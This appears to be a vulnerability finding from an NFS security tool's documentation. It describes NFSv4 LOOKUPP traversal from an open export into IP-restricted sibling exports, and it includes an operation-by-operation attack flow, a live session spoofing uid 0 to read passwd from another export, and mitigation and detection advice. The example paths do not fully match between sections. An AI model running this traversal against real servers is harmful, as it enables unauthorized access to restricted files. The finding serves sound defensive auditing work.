F-2.12: NFSv4 LOOKUPP Cross-Export Lateral Access¶
Classification¶
- Severity: High
- CVSS Vector: Network / Low Complexity / Requires Access to Any Export
- Affected Versions: NFSv4.0 (RFC 7530), NFSv4.1 (RFC 8881)
- Configuration: Multiple exports sharing a parent directory in the pseudo-filesystem tree
- Prerequisite: NFSv4 access to any one export on the server
- RFC Basis: RFC 7530 §7.3 (pseudo-FS), RFC 7530 §16.14 (LOOKUPP), RFC 7530 §16.13 (LOOKUP)
Summary¶
The NFSv4 pseudo-filesystem connects all exports under a shared namespace tree. A client with access to any export can issue LOOKUPP to traverse up to the pseudo-root junction, then LOOKUP to descend into any sibling export -- even exports with IP-based access restrictions.
This differs from F-2.8 (Sibling Export Lateral Access via handle reuse) in that no handle construction or filesystem escape is required. The client uses standard NFSv4 directory operations to navigate between exports. The pseudo-root acts as a hub connecting all exports, and the server does not enforce per-export access controls on LOOKUPP/LOOKUP traversal through the pseudo-FS tree.
Technical detail¶
The NFSv4 pseudo-filesystem¶
NFSv4 replaced the MOUNT protocol with a pseudo-filesystem (RFC 7530 §7.3): a synthetic directory tree rooted at PUTROOTFH that contains junction points for each export. When the server has:
/srv/nfs/public *(rw,no_root_squash) # open to everyone
/srv/nfs/restricted 10.0.0.50(rw,root_squash) # IP-restricted
/srv/nfs/secrets 10.0.0.50(rw,root_squash) # IP-restricted
The pseudo-FS tree is:
/ (pseudo-root)
└── srv/
└── nfs/
├── public/ → junction to export 1
├── restricted/ → junction to export 2
└── secrets/ → junction to export 3
Attack flow¶
Attacker has access to /srv/nfs/public only.
Target: /srv/nfs/restricted/data/etc/passwd
Step 1: Navigate into the accessible export
PUTROOTFH → LOOKUP "srv" → LOOKUP "nfs" → LOOKUP "public"
Step 2: LOOKUPP to the shared parent
PUTFH(public_fh) → LOOKUPP → GETFH
Result: handle for /srv/nfs/ (pseudo-FS junction parent)
Step 3: LOOKUP into the restricted sibling
PUTFH(nfs_fh) → LOOKUP "restricted" → LOOKUP "data"
→ LOOKUP "etc" → LOOKUP "passwd"
Step 4: READ the target file
READ(passwd_fh) → file contents
Why this works¶
-
The pseudo-root is a shared namespace -- READDIR on
/srv/nfs/reveals ALL export names (public, restricted, secrets) regardless of access controls. This is the pseudo-root information disclosure (F-5.5). -
LOOKUPP crosses export boundaries upward -- the LOOKUPP from inside
/publicreturns the/srv/nfs/pseudo-directory, which is the parent of ALL exports, not just the one the client mounted. -
LOOKUP crosses into sibling exports -- once at the shared parent, LOOKUP "restricted" enters the restricted export. The server verifies the client's AUTH_SYS credentials against the export's ACL at this point, but:
- If the client's IP is in the allowed range, access is granted
- If the client is using AUTH_SYS with a spoofed uid, the server trusts it (F-1.1)
-
If the export uses
sec=sys(default), no Kerberos challenge prevents this -
No MOUNT protocol involved -- the entire traversal happens over a single NFSv4 TCP connection. The MOUNT protocol's per-export ACL check (which at least validates the client IP) is bypassed entirely.
Confirmed live test results¶
Tested on Linux 6.8.0 (Ubuntu 24.04) knfsd:
$ nfswolf shell --nfs-version 4 10.252.0.11 --uid 0 --gid 0
nfswolf> cd srv/nfs/public
/srv/nfs/public
nfswolf> cd ..
/srv/nfs
nfswolf> cd data/etc
/srv/nfs/data/etc
nfswolf> cat passwd
root:x:0:0:root:/root:/bin/bash
admin:x:1000:1000:Admin:/home/admin:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
mysql:x:27:27:MySQL:/var/lib/mysql:/bin/false
Starting from /srv/nfs/public (open to everyone), traversed to /srv/nfs/data/etc/passwd (a different export) in 3 operations.
Difference from F-2.8¶
| Aspect | F-2.8 (Handle Reuse) | F-2.12 (LOOKUPP Lateral) |
|---|---|---|
| NFS versions | v2, v3 | v4 only |
| Requires | Filesystem escape (F-2.1) first | Nothing -- standard directory ops |
| Mechanism | Construct root handle, LOOKUP from root | LOOKUPP to parent, LOOKUP into sibling |
| Exports must share | Same filesystem (same fsid) | Same pseudo-FS parent directory |
| MOUNT ACL checked | No (handle bypass) | No (no MOUNT involved) |
| Complexity | Medium | Trivial |
Mitigation¶
-
Separate pseudo-FS trees. Export from different directory hierarchies so they don't share a pseudo-FS parent. E.g.,
/export-a/dataand/export-b/secretsinstead of/srv/nfs/dataand/srv/nfs/secrets. -
Enforce Kerberos (
sec=krb5p). This prevents uid/gid spoofing and provides per-user authentication. Cross-export LOOKUP still works but the attacker cannot impersonate other users. -
Use NFSv3 instead of NFSv4. NFSv3 uses the MOUNT protocol which enforces per-export IP ACLs at mount time. The pseudo-FS lateral traversal is a v4-specific attack surface.
-
Firewall the NFSv4 port (2049). Limit access to trusted IPs at the network level rather than relying on export ACLs.
Detection¶
The nfswolf analyze command should flag this when multiple exports share a pseudo-FS parent and at least one uses a wildcard ACL (*). The exports shell command (planned) will enumerate reachable sibling exports from the current position via LOOKUPP traversal.
References¶
- RFC 7530 §7.3 -- Pseudo-filesystem tree
- RFC 7530 §16.14 -- LOOKUPP operation
- RFC 7530 §16.13 -- LOOKUP operation
- RFC 2623 §2.6 -- File handle security considerations